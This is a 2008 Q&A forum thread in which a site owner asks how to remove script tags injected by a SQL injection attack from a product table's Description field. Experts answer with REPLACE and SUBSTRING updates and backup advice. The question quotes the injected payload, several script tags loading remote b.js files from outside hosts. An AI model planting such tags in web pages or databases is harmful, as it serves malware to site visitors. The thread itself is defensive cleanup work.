Want to win a PS4? Go Premium and enter to win our High-Tech Treats giveaway. Enter to Win

x
?
Solved

Simple SQL question - delete any occurence in a single field

Posted on 2008-06-26
14
Medium Priority
?
336 Views
Last Modified: 2010-04-21
Hi, I have a MSSQL db. I have been hit with a SQL Injection attack. I have someone trying to shore it up for me, but in the meantime, how can i simply delete any occurence of this:

<script src=http://www.app52.com/b.js></script><script src=http://www.dbupdr.com/b.js></script><script src=http://www.dbupdr.com/b.js></script><script src=http://www.rid34.com/b.js></script><script src=http://www.dl251.com/b.js></script>

it is at the end of every "Description" field in my Items table.

I don't know much about SQL at all, but wondered if you can tell me how I can at least delete the code so my site will run in the meantime while he's trying to find a permanent solution to limit our vulnerability.

I wanted this developer to do it, but so far I'm not too confident in his abilities.

Thanks much.
0
Comment
Question by:Cindy0904
[X]
Welcome to Experts Exchange

Add your voice to the tech community where 5M+ people just like you are talking about what matters.

  • Help others & share knowledge
  • Earn cash & points
  • Learn & ask questions
  • 7
  • 3
  • 2
  • +1
14 Comments
 
LVL 60

Accepted Solution

by:
chapmandew earned 400 total points
ID: 21877386
you could do this several times for each snippet above:

update tablename
set description = replace(description, '<script src=http://www.app52.com/b.js></script>', '')
0
 
LVL 19

Expert Comment

by:folderol
ID: 21877439
update tablename
set description = substring(description, 1, charindex('<script src', description)-1)
0
 

Author Comment

by:Cindy0904
ID: 21877930
thanks for the responses. folderol, I don't even know enough to understand what you mean. Can you add the exact code?

Is this right? Since my table name is Items? I'm afraid and want to make sure i don't mess it up worse.

update Items
set description = substring(description, 1, charindex('<script src', description)-1)

Thanks a lot!
0
Independent Software Vendors: We Want Your Opinion

We value your feedback.

Take our survey and automatically be enter to win anyone of the following:
Yeti Cooler, Amazon eGift Card, and Movie eGift Card!

 
LVL 60

Expert Comment

by:chapmandew
ID: 21877948
looks right to me.
0
 

Author Comment

by:Cindy0904
ID: 21878011
Hmm, here's what i get when I tried it:

Server Error in '/MSSQL' Application.
--------------------------------------------------------------------------------

A potentially dangerous Request.Form value was detected from the client (sqlstmt="...harindex('<script src', descri...").
Description: Request Validation has detected a potentially dangerous client input value, and processing of the request has been aborted. This value may indicate an attempt to compromise the security of your application, such as a cross-site scripting attack. You can disable request validation by setting validateRequest=false in the Page directive or in the configuration section. However, it is strongly recommended that your application explicitly check all inputs in this case.

Exception Details: System.Web.HttpRequestValidationException: A potentially dangerous Request.Form value was detected from the client (sqlstmt="...harindex('<script src', descri...").

Source Error:

The source code that generated this unhandled exception can only be shown when compiled in debug mode. To enable this, please follow one of the below steps, then request the URL:

1. Add a "Debug=true" directive at the top of the file that generated the error. Example:

  <%@ Page Language="C#" Debug="true" %>

or:

2) Add the following section to the configuration file of your application:

<configuration>
   <system.web>
       <compilation debug="true"/>
   </system.web>
</configuration>

Note that this second technique will cause all files within a given application to be compiled in debug mode. The first technique will cause only that particular file to be compiled in debug mode.

Important: Running applications in debug mode does incur a memory/performance overhead. You should make sure that an application has debugging disabled before deploying into production scenario.  
0
 
LVL 19

Expert Comment

by:folderol
ID: 21878103
I am not familiar enough with SQL programming security to be much help, but if you are getting this message in Query Analyzer, and you suspect a lot of table damage, you might have to create a new database and write the good data to it using insert.  Then truncate or drop the old tables and copy the tables back.

This is a super conservative approach anyway, since with this way you don't need backups.  You never update the original tables until you have a working, satisfactory copy.  Your case may not require such thoroughness.

As a test, do

select substring(description, 1, charindex('<script src', description)-1) as description
from items into #tmp_items

select * from #tmp_items

See if the same error occurs.  This won't prove anything really, since someone else may have advice about how to make the update work.
0
 
LVL 19

Assisted Solution

by:folderol
folderol earned 400 total points
ID: 21878113
Sorry, typo....

select substring(description, 1, charindex('<script src', description)-1) as description
into #tmp_items
from items
select * from #tmp_items
0
 

Author Comment

by:Cindy0904
ID: 21878521
i just keep getting the same error message as above...
0
 

Author Comment

by:Cindy0904
ID: 21878695
can i pay one of you to go in and remove the code so our site would work? Until we can secure it, it may be back, but if you can then tell me the code to delete it, that would help till the permanent fix.
I'm desperate. Every minute costs money. thanks.
0
 
LVL 8

Expert Comment

by:pzozulka
ID: 21879795
What about back ups of the DB. It would definetly be a quick fix. Just re upload the latest copy of your website and the latest copy of your database.
0
 

Author Comment

by:Cindy0904
ID: 21879823
Yes, my brother unfortunately made a lot of changes before the next backup was made, so he didn't want to lose the changes. thanks.
0
 
LVL 8

Assisted Solution

by:pzozulka
pzozulka earned 200 total points
ID: 21879830
If time is of the essence and you don't see a solution in the near future, I would backup everything that I have now, and restore it to a test environment.

In the meantime, restore the latest backup. At least you will have something to work with.
0
 

Author Comment

by:Cindy0904
ID: 21881011
I never could get around that error message, but the developer finally came around and fixed it. Still don't know if it's fixed up to par to guard against future attacks, but I guess we'll backup, backup & wait and see. Thanks for all the help. :)
0
 

Author Closing Comment

by:Cindy0904
ID: 31471105
thanks guys!
0

Featured Post

Free Tool: Path Explorer

An intuitive utility to help find the CSS path to UI elements on a webpage. These paths are used frequently in a variety of front-end development and QA automation tasks.

One of a set of tools we're offering as a way of saying thank you for being a part of the community.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

In this article we will learn how to fix  “Cannot install SQL Server 2014 Service Pack 2: Unable to install windows installer msi file” error ?
What if you have to shut down the entire Citrix infrastructure for hardware maintenance, software upgrades or "the unknown"? I developed this plan for "the unknown" and hope that it helps you as well. This article explains how to properly shut down …
Using examples as well as descriptions, and references to Books Online, show the different Recovery Models available in SQL Server and explain, as well as show how full, differential and transaction log backups are performed
Via a live example, show how to shrink a transaction log file down to a reasonable size.

636 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question